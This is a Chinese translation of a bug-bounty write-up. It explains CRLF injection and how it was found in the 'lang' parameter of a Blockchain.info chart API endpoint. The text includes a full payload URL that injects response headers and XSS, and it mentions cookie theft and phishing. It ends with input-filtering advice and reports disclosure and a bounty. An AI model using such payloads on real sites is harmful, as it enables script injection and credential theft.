译者:WisFree
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
写在前面的话
这个漏洞我已经上报给“Blockchain.info”的漏洞奖励计划了。
Blockchain.info是目前世界上最受欢迎的比特币钱包之一,它可以给用户提供详细的比特币交易信息以及区块图形化记录。
什么是CRLF注入?
CRLF是Carriage-Return Line-Feed的缩写,意思就是“回车换行”,即回车(CR, ASCII值:13, r) 换行(LF, ASCII值:10, n)。这两个不可打印的ACSII字符不会在屏幕有任何输出,但在Windows中广泛用来标识一行的结束。而在Linux/UNIX系统中则只有换行符。
CR和LF是在计算机终端还是电传打印机的时候遗留下来的东西。电传打字机就像普通打字机一样工作。在每一行的末端,CR命令让打印头回到左边,而LF命令可以让纸前进一行。虽然使用卷纸的终端时代已经过去了,但是CR和LF命令依然存在,许多应用程序和网络协议仍使用这些命令作为分隔符。
攻击者在搜索安全漏洞的时候并不会忽略这种使用频率不高的CRLF。攻击者可以通过在一段数据中加入CRLF命令,从而改变应用程序在处理这个数据时的方式,并执行CRLF注入攻击。需要注意的是,CRLF注入攻击虽然并没有像其它类型的攻击那样出名。但是,当对有安全漏洞的应用程序实施CRLF注入攻击时,这种攻击方式对于攻击者同样有效,并且可以给用户带来不可估量的损失。
HTTP请求中的CRLF
接下来,让我们了解一下CRLF是如何应用在HTTP请求之中的。
当我们在网站中点击任意内容,或者纯粹只是打开一个网站的时候,浏览器便会向目标网站的后台服务器发送请求,服务器在处理完用户请求之后,会给用户的浏览器发送响应信息,此时用户所请求的内容将会显示在浏览器之中,这就是最常见的请求-响应过程。
比如说,当我们在自己的浏览器中请求访问blog.shashank.co时,浏览器会发送如下所示的HTTP请求:
http://blog.shashank.co/
GET / HTTP/1.1
Host: blog.shashank.co
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
在处理完请求之后,服务器会返回如下所示的响应信息:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Tue, 31 Oct 2017 14:28:13 GMT
Date: Tue, 31 Oct 2017 14:28:13 GMT
Cache-Control: private, max-age=0
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 13871
Server: GSE
<HERE IS THE WEBSITE BODY>
如果你不知道怎么查看浏览器所发送的HTTP请求以及响应信息的话,你可以下载火狐浏览器的“LiveHTTPHeader”插件,或者直接在网页中点击鼠标右键,选择“审查元素”,然后进入“网络”标签页来查看你在浏览任意网站时浏览器所发送的所有请求。
大家可以从上图中看到,在一个HTTP头中,每一行数据都是由CRLF分隔开的(不会在屏幕上打印输出的ASCII字符)。换句话说,上面这些数据的原始形式应该是这样的:
GET / HTTP/1.1 [CRLF]
Host: blog.shashank.co [CRLF]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 [CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [CRLF]
Accept-Language: en-US,en;q=0.5 [CRLF]
Accept-Encoding: gzip, deflate [CRLF]
Connection: keep-alive [CRLF]
Upgrade-Insecure-Requests: 1 [CRLF]
HTTP/1.1 200 OK [CRLF]
Content-Type: text/html; charset=UTF-8 [CRLF]
Expires: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Date: Tue, 31 Oct 2017 14:28:13 GMT [CRLF]
Cache-Control: private, max-age=0 [CRLF]
Last-Modified: Tue, 31 Oct 2017 14:26:43 GMT [CRLF]
ETag: W/"bf427f6283ea846b52644bb883f50252d472a65378d019392f78d16d43fe2f17"
Content-Encoding: gzip [CRLF]
X-Content-Type-Options: nosniff [CRLF]
X-XSS-Protection: 1; mode=block [CRLF]
Content-Length: 13871 [CRLF]
Server: GSE [CRLF] [CRLF]
<HERE IS THE BODY>
漏洞描述
当我在浏览blockchain.info网站的过程中,我发现一个网站节点,而这个节点允许我下载JSON或CSV格式的图表数据:
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en
请大家注意其中的最后一个参数"lang=en",我将它改成了"lang=english"。接下来,我发现浏览器所接收到的响应头信息发生了一点变化:
GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1
Host: api.blockchain.info
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
content-type: text/csv; charset=ascii
content-length: 10953
access-control-allow-origin: *
cache-control: public, max-age=60
content-disposition: attachment; filename="total-bitcoins.csv"
content-language: english
<removed>
需要注意的是,“lang”参数将会反应在“content-language”头中。那么接下来,我们就要检测“CRLF”注入漏洞了,即我们是否能够添加一个[CRLF]并创建我们自己的响应头。
为了注入一个[CRLF],我们需要对其进行URL编码,其中“rn”的URL编码为“%0D%0A”。
现在我们发送重新构造出来的请求:
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST
我们将会在响应信息中发现一个新的响应头-TEST。
这也就意味着,我们成功地找到了一个CRLF注入漏洞!!由于请求信息中同样包含响应信息的主体内容(body),因此我们甚至还可以执行JavaScript代码(跨站脚本攻击)来窃取Cookie或构建一个钓鱼页面。
最终的攻击Payload如下所示:
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E&__cf_waf_tk__=012853002E6loVIOSyqHfdxrvHJ87MshEnZI
跨站脚本攻击:
构造钓鱼页面:
如何防止这种攻击的发生?
养成良好的编码习惯可以有效地避免包括CRLF攻击在内的注入攻击技术。为了防止你的应用程序受到CRLF注入攻击,你需要保持与防御SQL注入攻击等其它类型的注入攻击一样的警惕性:即永远不要相信用户输入的内容!在你控制范围以外的任何来源的输入内容都必须要进行安全检查和数据过滤。在你的应用程序对数据执行操作之前,任何不符合预期的数据类型以及字符都要进行过滤。比如说,如果你的应用程序需要的是一个电子邮件地址,那么这个数据中所有的字符都应该是字母、数字、“@”和“.”。如果你的应用程序需要的是一个文件名,那么这个数据中只能包含文件名中允许使用的合法字符。如果开发人员能够在上述这两种场景下简单地过滤掉CR和LF字符,那么这种攻击也就无法奏效了。
虽然,用户所输入的“恶意字符”是导致漏洞出现的其中一种原因。但是,请你不要忘记检查第三方程序的输入内容。在许多情况下,攻击者可以把一个注入漏洞从一个包含漏洞的应用程序转移到一个正常的安全程序之中。开发人员不会检查安全程序中的数据,因为那里的数据不是直接来自于用户的。因此,无论数据来源于哪里,只要这些数据需要在你的应用程序中进行处理,你就必须要对这些数据进行审查和过滤。
总结
我发现了这个漏洞之后,便立刻将漏洞信息上报给了Blockchain.info的漏洞奖励计划,Blockchain.info的技术人员在确认了漏洞信息之后也立刻跟我取得了联系,并给我提供了1600美元的漏洞奖金,感谢Blockchain.info。